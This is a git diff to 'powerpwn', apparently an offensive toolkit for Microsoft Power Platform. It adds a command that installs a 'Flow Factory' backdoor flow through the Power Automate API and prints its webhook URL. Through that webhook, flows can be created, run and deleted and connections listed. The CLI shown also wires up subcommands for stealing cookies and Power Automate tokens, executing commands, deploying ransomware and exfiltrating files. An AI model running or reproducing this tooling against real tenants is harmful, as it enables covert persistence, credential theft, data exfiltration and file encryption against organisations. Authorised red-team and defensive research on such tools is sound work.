diff --git a/setup.cfg b/setup.cfg index 24cfcc6..21ccf1e 100644 --- a/setup.cfg +++ b/setup.cfg @@ -32,7 +32,9 @@ packages = find: where = src [options.package_data] -powerpwn = powerdump/gui/templates/*.html +powerpwn = + powerdump/gui/templates/*.html + powerdoor/samples/flow_factory_to_install.json python_requires = >=3.6,<=3.8.10 diff --git a/src/powerpwn/cli.py b/src/powerpwn/cli.py index 709381f..27bbcf9 100644 --- a/src/powerpwn/cli.py +++ b/src/powerpwn/cli.py @@ -12,6 +12,7 @@ from powerpwn.machinepwn.machine_pwn import MachinePwn from powerpwn.powerdoor.backdoor_flow import BackdoorFlow from powerpwn.powerdoor.enums.action_type import ActionType +from powerpwn.powerdoor.flow_factory_installer import FlowFlowInstaller from powerpwn.powerdump.collect.data_collectors.data_collector import DataCollector from powerpwn.powerdump.collect.resources_collectors.resources_collector import ResourcesCollector from powerpwn.powerdump.gui.gui import Gui @@ -21,14 +22,14 @@ logger = logging.getLogger(LOGGER_NAME) -def register_gui_parser(sub_parser: argparse.ArgumentParser) -> None: - gui_parser = sub_parser.add_parser("gui", description="Show collected resources and data.", help="Show collected resources and data via GUI.") # type: ignore[attr-defined] +def register_gui_parser(sub_parser: argparse.ArgumentParser): + gui_parser = sub_parser.add_parser("gui", description="Show collected resources and data.", help="Show collected resources and data via GUI.") gui_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.") gui_parser.add_argument("--cache-path", default=CACHE_PATH, type=str, help="Path to cached resources.") -def register_collect_parser(sub_parser: argparse.ArgumentParser) -> None: - explore_parser = sub_parser.add_parser( # type: ignore[attr-defined] +def register_collect_parser(sub_parser: argparse.ArgumentParser): + explore_parser = sub_parser.add_parser( "dump", description="Collect all available data in tenant", help="Get all available resources in tenant and dump data." ) explore_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.") @@ -38,50 +39,50 @@ def register_collect_parser(sub_parser: argparse.ArgumentParser) -> None: explore_parser.add_argument("-g", "--gui", action="store_true", help="Run local server for gui.") -def register_machine_pwn_common_args(sub_parser: argparse.ArgumentParser) -> None: +def register_machine_pwn_common_args(sub_parser: argparse.ArgumentParser): sub_parser.add_argument("-w", "--webhook-url", required=True, type=str, help="Webhook url to the flow factory installed in powerplatform") sub_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.") -def register_backdoor_flow_common_args(sub_parser: argparse.ArgumentParser) -> None: +def register_backdoor_flow_common_args(sub_parser: argparse.ArgumentParser): sub_parser.add_argument("-w", "--webhook-url", required=True, type=str, help="Webhook url to the flow factory installed in powerplatform") sub_parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.") sub_parser.add_argument("-e", "--environment-id", required=True, type=str, help="Environment id in powerplatform.") -def register_exec_parsers(command_subparsers: argparse.ArgumentParser) -> None: - steal_fqdn_parser = command_subparsers.add_parser("steal-cookie", description="Steal cookie of fqdn") # type: ignore[attr-defined] +def register_exec_parsers(command_subparsers: argparse.ArgumentParser): + steal_fqdn_parser = command_subparsers.add_parser("steal-cookie", description="Steal cookie of fqdn") register_steal_fqdn_cookie_parser(steal_fqdn_parser) - steal_power_automate_token_parser = command_subparsers.add_parser("steal-power-automate-token", description="Steal power automate token") # type: ignore[attr-defined] + steal_power_automate_token_parser = command_subparsers.add_parser("steal-power-automate-token", description="Steal power automate token") register_machine_pwn_common_args(steal_power_automate_token_parser) - execute_command_parser = command_subparsers.add_parser("command-exec", description="Execute command on machine") # type: ignore[attr-defined] + execute_command_parser = command_subparsers.add_parser("command-exec", description="Execute command on machine") register_exec_command_parser(execute_command_parser) - ransomware_parser = command_subparsers.add_parser("ransomware", description="Ransomware") # type: ignore[attr-defined] + ransomware_parser = command_subparsers.add_parser("ransomware", description="Ransomware") register_ransomware_parser(ransomware_parser) - exflirtate_file_parser = command_subparsers.add_parser("exflirtate", description="Exflirtate file") # type: ignore[attr-defined] + exflirtate_file_parser = command_subparsers.add_parser("exflirtate", description="Exflirtate file") register_exflirtate_file_parser(exflirtate_file_parser) - cleanup_parser = command_subparsers.add_parser("cleanup", description="Cleanup") # type: ignore[attr-defined] + cleanup_parser = command_subparsers.add_parser("cleanup", description="Cleanup") register_machine_pwn_common_args(cleanup_parser) ## machine pwn parsers ## -def register_steal_fqdn_cookie_parser(sub_parser: argparse.ArgumentParser) -> None: +def register_steal_fqdn_cookie_parser(sub_parser: argparse.ArgumentParser): register_machine_pwn_common_args(sub_parser) sub_parser.add_argument("-fqdn", "--cookie", required=True, type=str, help="Fully qualified domain name to fetch the cookies of") -def register_exec_command_parser(sub_parser: argparse.ArgumentParser) -> None: +def register_exec_command_parser(sub_parser: argparse.ArgumentParser): register_machine_pwn_common_args(sub_parser) sub_parser.add_argument("-t", "--type", required=True, type=str, choices=[cmd_type.value for cmd_type in CodeExecTypeEnum], help="Command type") sub_parser.add_argument("-c", "--command-to-execute", required=True, type=str, help="Command to execute") -def register_ransomware_parser(sub_parser: argparse.ArgumentParser) -> None: +def register_ransomware_parser(sub_parser: argparse.ArgumentParser): register_machine_pwn_common_args(sub_parser) sub_parser.add_argument("--crawl_depth", required=True, type=str, help="Recursively search into subdirectories this many times") sub_parser.add_argument("-k", "--encryption-key", required=True, type=str, help="an encryption key used to encrypt each file identified (AES256)") @@ -90,17 +91,17 @@ def register_ransomware_parser(sub_parser: argparse.ArgumentParser) -> None: ) -def register_exflirtate_file_parser(sub_parser: argparse.ArgumentParser) -> None: +def register_exflirtate_file_parser(sub_parser: argparse.ArgumentParser): register_machine_pwn_common_args(sub_parser) sub_parser.add_argument("-f", "--file", required=True, type=str, help="Absolute path to file") -def parse_arguments() -> argparse.Namespace: +def parse_arguments(): parser = argparse.ArgumentParser() parser.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.") command_subparsers = parser.add_subparsers(help="command", dest="command") - register_collect_parser(command_subparsers) # type: ignore[arg-type] - register_gui_parser(command_subparsers) # type: ignore[arg-type] + register_collect_parser(command_subparsers) + register_gui_parser(command_subparsers) ## Delete Flow parser ## delete_flow_parser = command_subparsers.add_parser("delete-flow", description="Deletes flow.", help="Deletes flow using installed backdoor flow.") @@ -121,13 +122,22 @@ def parse_arguments() -> argparse.Namespace: register_backdoor_flow_common_args(get_connections_parser) get_connections_parser.add_argument("-o", "--output", type=str, default="", help="Path to output file.") - register_exec_parsers(command_subparsers) # type: ignore[arg-type] + ## backdoor installer parser ## + installer = command_subparsers.add_parser( + "install-flow-factory", description="Install flow factory", help="Installs flow factory in powerplatform" + ) + installer.add_argument("-l", "--log-level", default=logging.INFO, type=lambda x: getattr(logging, x), help="Configure the logging level.") + installer.add_argument("-e", "--environment-id", required=True, type=str, help="Environment id in powerplatform.") + installer.add_argument("-c", "--connection-id", required=True, type=str, help="The connection id of management connection") + installer.add_argument("-t", "--tenant", required=False, type=str, help="Tenant id to connect.") + + register_exec_parsers(command_subparsers) args = parser.parse_args() return args -def __init_command_token(args: argparse.Namespace, scope: str) -> str: +def __init_command_token(args, scope: str) -> str: # if cached refresh token is found, use it if token := acquire_token_from_cached_refresh_token(scope, args.tenant): return token @@ -135,7 +145,7 @@ def __init_command_token(args: argparse.Namespace, scope: str) -> str: return acquire_token(scope=scope, tenant=args.tenant) -def run_collect_resources_command(args: argparse.Namespace) -> None: +def run_collect_resources_command(args): # cache if args.clear_cache: try: @@ -150,16 +160,16 @@ def run_collect_resources_command(args: argparse.Namespace) -> None: entities_fetcher.collect_and_cache() -def run_gui_command(args: argparse.Namespace) -> None: +def run_gui_command(args): Gui().run(cache_path=args.cache_path) -def run_collect_data_command(args: argparse.Namespace) -> None: +def run_collect_data_command(args): token = __init_command_token(args, API_HUB_SCOPE) DataCollector(token=token, cache_path=args.cache_path).collect() -def run_backdoor_flow_command(args: argparse.Namespace) -> None: +def run_backdoor_flow_command(args): action_type = ActionType(args.command) backdoor_flow = BackdoorFlow(args.webhook_url) if action_type == ActionType.delete_flow: @@ -178,7 +188,7 @@ def run_backdoor_flow_command(args: argparse.Namespace) -> None: logger.info(connections) -def run_machine_pwn_command(args: argparse.Namespace) -> None: +def run_machine_pwn_command(args): command_type = CommandToRunEnum(args.command) machine_pwn = MachinePwn(args.webhook_url) if command_type == CommandToRunEnum.CLEANUP: @@ -196,7 +206,7 @@ def run_machine_pwn_command(args: argparse.Namespace) -> None: print(res) -def main() -> None: +def main(): print("\n\n------------------------------------------------------------") tprint("powerpwn") print("------------------------------------------------------------\n\n") @@ -221,6 +231,10 @@ def main() -> None: elif command in [action_type.value for action_type in ActionType]: run_backdoor_flow_command(args) + elif command == "install-flow-factory": + token = __init_command_token(args, POWER_APPS_SCOPE) + FlowFlowInstaller(token).install(args.environment_id, args.connection_id) + elif command in [cmd_type.value for cmd_type in CommandToRunEnum]: run_machine_pwn_command(args) diff --git a/src/powerpwn/powerdoor/flow_factory_installer.py b/src/powerpwn/powerdoor/flow_factory_installer.py new file mode 100644 index 0000000..4ca015b --- /dev/null +++ b/src/powerpwn/powerdoor/flow_factory_installer.py @@ -0,0 +1,38 @@ +import json +import logging +import os +import pathlib + +from powerpwn.const import LOGGER_NAME +from powerpwn.powerdump.utils.requests_wrapper import init_session + +logger = logging.getLogger(LOGGER_NAME) + + +class FlowFlowInstaller: + def __init__(self, token: str): + self.__session = init_session(token=token) + + def install(self, environment_id: str, connection_id: str) -> None: + path = os.path.join(pathlib.Path(__file__).parent.resolve(), "samples", "flow_factory_to_install.json") + with open(path) as f: + flow_definition = json.load(f) + flow_definition["properties"]["connectionReferences"]["shared_flowmanagement"]["connectionName"] = connection_id + + result = self.__session.post( + f"https://emea.api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{environment_id}/flows?api-version=2016-11-01", + json=flow_definition, + ) + if result.status_code == 201: + res_json = json.loads(result.text) + logger.info(f'Flow installed successfully. Flow id{res_json["id"]}') + logger.info("Getting flow webhook url...") + flow_name = res_json["name"] + result = self.__session.post( + f"https://emea.api.flow.microsoft.com/providers/Microsoft.ProcessSimple/environments/{environment_id}/flows/{flow_name}/triggers/manual/listCallbackUrl?api-version=2016-11-01" + ) + if result.status_code == 200: + webhook_url = json.loads(result.text)["response"]["value"] + logger.info(f"Webhook url is: {webhook_url}") + else: + logger.warning(f"Something wen wrong. status code: {result.status_code}, text: {result.text}") diff --git a/src/powerpwn/powerdoor/samples/flow_factory_to_install.json b/src/powerpwn/powerdoor/samples/flow_factory_to_install.json new file mode 100644 index 0000000..0eecf49 --- /dev/null +++ b/src/powerpwn/powerdoor/samples/flow_factory_to_install.json @@ -0,0 +1,418 @@ +{ + "properties": { + "displayName": "Flow Factory", + "definition": { + "metadata": { + "workflowEntityId": null, + "processAdvisorMetadata": null, + "flowclientsuspensionreason": "None", + "flowclientsuspensiontime": null, + "creator": { + "id": "ffb11457-7a0b-4ab0-aa21-35cc0c3e7c1f", + "type": "User", + "tenantId": "32f814a9-68c8-4ca1-93aa-5594523476b3" + }, + "provisioningMethod": "FromDefinition", + "failureAlertSubscription": true, + "clientLastModifiedTime": "2022-03-10T13:19:50.1423242Z" + }, + "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", + "contentVersion": "1.0.0.0", + "parameters": { + "$connections": { + "defaultValue": {}, + "type": "Object" + }, + "$authentication": { + "defaultValue": {}, + "type": "SecureObject" + } + }, + "triggers": { + "manual": { + "metadata": { + "operationMetadataId": "46024f90-502d-430d-875e-a7e8bf36a266" + }, + "type": "Request", + "kind": "Http", + "inputs": { + "schema": { + "title": "Commands", + "type": "object", + "properties": { + "action": { + "title": "Action", + "type": "string", + "enum": [ + "createFlow", + "deleteFlow", + "runFlow", + "createConnection", + "deleteConnection", + "getConnections" + ] + }, + "inputs": { + "title": "Inputs", + "type": "object", + "properties": { + "environment": { + "type": "string" + }, + "flowId": { + "type": "string" + }, + "flowDisplayName": { + "type": "string" + }, + "flowDefinition": { + "type": "object" + }, + "isWebhook": { + "type": "boolean" + }, + "flowState": { + "type": "string", + "enum": [ + "Stopped", + "Started" + ] + }, + "connectionReferences": { + "type": "array", + "items": { + "type": "object", + "properties": { + "connectionName": { + "type": "string" + }, + "id": { + "type": "string" + } + }, + "required": [ + "connectionName", + "id" + ], + "additionalProperties": false + } + } + }, + "required": [], + "additionalProperties": false + } + }, + "required": [ + "action", + "inputs" + ], + "additionalProperties": false + } + }, + "runtimeConfiguration": { + "secureData": { + "properties": [ + "inputs", + "outputs" + ] + } + } + } + }, + "actions": { + "Success": { + "runAfter": { + "Scope": [ + "Succeeded" + ] + }, + "metadata": { + "operationMetadataId": "2e94600b-9d6b-4e4f-9386-b4af959c0ce6" + }, + "type": "Response", + "kind": "Http", + "inputs": { + "statusCode": 200, + "headers": { + "action": "@triggerBody()['action']" + }, + "body": "@variables('responseBody')" + }, + "runtimeConfiguration": { + "secureData": { + "properties": [ + "inputs" + ] + } + } + }, + "Scope": { + "actions": { + "Switch": { + "runAfter": {}, + "cases": { + "Case_createFlow": { + "case": "createFlow", + "actions": { + "Create_Flow": { + "runAfter": {}, + "metadata": { + "operationMetadataId": "3baa0c30-5a87-4b8a-be3f-1e13246417ef" + }, + "type": "OpenApiConnection", + "inputs": { + "host": { + "apiId": "/providers/Microsoft.PowerApps/apis/shared_flowmanagement", + "connectionName": "shared_flowmanagement", + "operationId": "CreateFlow" + }, + "parameters": { + "environmentName": "@triggerBody()?['inputs']?['environment']", + "Flow/properties/displayName": "@triggerBody()?['inputs']?['flowDisplayName']", + "Flow/properties/definition": "@triggerBody()?['inputs']?['flowDefinition']", + "Flow/properties/state": "@triggerBody()?['inputs']?['flowState']", + "Flow/properties/connectionReferences": "@triggerBody()?['inputs']?['connectionReferences']" + }, + "authentication": "@parameters('$authentication')" + }, + "runtimeConfiguration": { + "secureData": { + "properties": [ + "inputs", + "outputs" + ] + } + } + }, + "Set_response_to_flowId": { + "runAfter": { + "Create_Flow": [ + "Succeeded" + ] + }, + "metadata": { + "operationMetadataId": "156a274c-fe73-4113-8cfc-7c21d8a50c9f" + }, + "type": "SetVariable", + "inputs": { + "name": "responseBody", + "value": [ + { + "flowId": "@outputs('Create_Flow')?['body/name']" + } + ] + } + }, + "Condition": { + "actions": { + "List_Callback_URL": { + "runAfter": {}, + "metadata": { + "operationMetadataId": "ff054da4-0bc6-4c86-84c8-81eae0bd3587" + }, + "type": "OpenApiConnection", + "inputs": { + "host": { + "apiId": "/providers/Microsoft.PowerApps/apis/shared_flowmanagement", + "connectionName": "shared_flowmanagement", + "operationId": "ListCallbackUrl" + }, + "parameters": { + "environmentName": "@triggerBody()?['inputs']?['environment']", + "flowName": "@outputs('Create_Flow')?['body/name']" + }, + "authentication": "@parameters('$authentication')" + }, + "runtimeConfiguration": { + "secureData": { + "properties": [ + "inputs", + "outputs" + ] + } + } + }, + "Append_to_array_variable": { + "runAfter": { + "List_Callback_URL": [ + "Succeeded" + ] + }, + "metadata": { + "operationMetadataId": "e3a2808b-e6f0-4c75-9611-8057c6ba10d7" + }, + "type": "AppendToArrayVariable", + "inputs": { + "name": "responseBody", + "value": { + "webhookUrl": "@outputs('List_Callback_URL')?['body/response/value']" + } + } + } + }, + "runAfter": { + "Set_response_to_flowId": [ + "Succeeded" + ] + }, + "expression": { + "equals": [ + "@triggerBody()?['inputs']?['isWebhook']", + true + ] + }, + "metadata": { + "operationMetadataId": "4c71898d-822e-449f-bca1-9bd99de100bd" + }, + "type": "If" + } + } + }, + "Case_deleteFlow": { + "case": "deleteFlow", + "actions": { + "Delete_Flow": { + "runAfter": {}, + "metadata": { + "operationMetadataId": "f2bfe4b4-3491-4936-8d3d-9169118b4041" + }, + "type": "OpenApiConnection", + "inputs": { + "host": { + "apiId": "/providers/Microsoft.PowerApps/apis/shared_flowmanagement", + "connectionName": "shared_flowmanagement", + "operationId": "DeleteFlow" + }, + "parameters": { + "environmentName": "@triggerBody()?['inputs']?['environment']", + "flowName": "@triggerBody()?['inputs']?['flowId']" + }, + "authentication": "@parameters('$authentication')" + }, + "runtimeConfiguration": { + "secureData": { + "properties": [ + "inputs", + "outputs" + ] + } + } + } + } + }, + "Case_getConnections": { + "case": "getConnections", + "actions": { + "List_My_Connections": { + "runAfter": {}, + "metadata": { + "operationMetadataId": "ff8fb035-b0f9-4a51-b971-66c8439b5a3e" + }, + "type": "OpenApiConnection", + "inputs": { + "host": { + "apiId": "/providers/Microsoft.PowerApps/apis/shared_flowmanagement", + "connectionName": "shared_flowmanagement", + "operationId": "ListConnections" + }, + "parameters": { + "environmentName": "@triggerBody()?['inputs']?['environment']" + }, + "authentication": "@parameters('$authentication')" + }, + "runtimeConfiguration": { + "secureData": { + "properties": [ + "inputs", + "outputs" + ] + } + } + }, + "Set_response_to_connections_list": { + "runAfter": { + "List_My_Connections": [ + "Succeeded" + ] + }, + "metadata": { + "operationMetadataId": "6dd6178d-c1f0-4125-a399-06ba4b9588fc" + }, + "type": "SetVariable", + "inputs": { + "name": "responseBody", + "value": "@outputs('List_My_Connections')?['body/value']" + } + } + } + } + }, + "default": { + "actions": {} + }, + "expression": "@triggerBody()['action']", + "metadata": { + "operationMetadataId": "686dc260-b4e3-4b7d-baa5-29f7a296b602" + }, + "type": "Switch" + } + }, + "runAfter": { + "Initialize_responseBody": [ + "Succeeded" + ] + }, + "metadata": { + "operationMetadataId": "f2f489b0-0ed2-4677-bd16-0a3dee5ceae0" + }, + "type": "Scope" + }, + "Failed": { + "runAfter": { + "Scope": [ + "Failed", + "TimedOut" + ] + }, + "metadata": { + "operationMetadataId": "e62d62e8-e3c9-46c2-879d-0eaaf284ecca" + }, + "type": "Response", + "kind": "Http", + "inputs": { + "statusCode": 500, + "headers": { + "action": "@triggerBody()['action']" + }, + "body": "@body('Create_Flow')" + } + }, + "Initialize_responseBody": { + "runAfter": {}, + "metadata": { + "operationMetadataId": "f5d57fa3-ce31-4a5c-b594-e790ee9eed33" + }, + "type": "InitializeVariable", + "inputs": { + "variables": [ + { + "name": "responseBody", + "type": "array", + "value": [] + } + ] + } + } + } + }, + "connectionReferences": { + "shared_flowmanagement": { + "connectionName": "", + "source": "Embedded", + "id": "/providers/Microsoft.PowerApps/apis/shared_flowmanagement", + "tier": "NotSpecified" + } + }, + "state": "Started" + } +} \ No newline at end of file diff --git a/src/powerpwn/powerdump/gui/gui.py b/src/powerpwn/powerdump/gui/gui.py index 176eeaf..9f36a6b 100644 --- a/src/powerpwn/powerdump/gui/gui.py +++ b/src/powerpwn/powerdump/gui/gui.py @@ -18,7 +18,7 @@ class Gui: - def run(self, cache_path: str): + def run(self, cache_path: str) -> None: # run file browser subprocess.Popen(["browsepy", "0.0.0.0", "8080", "--directory", cache_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # nosec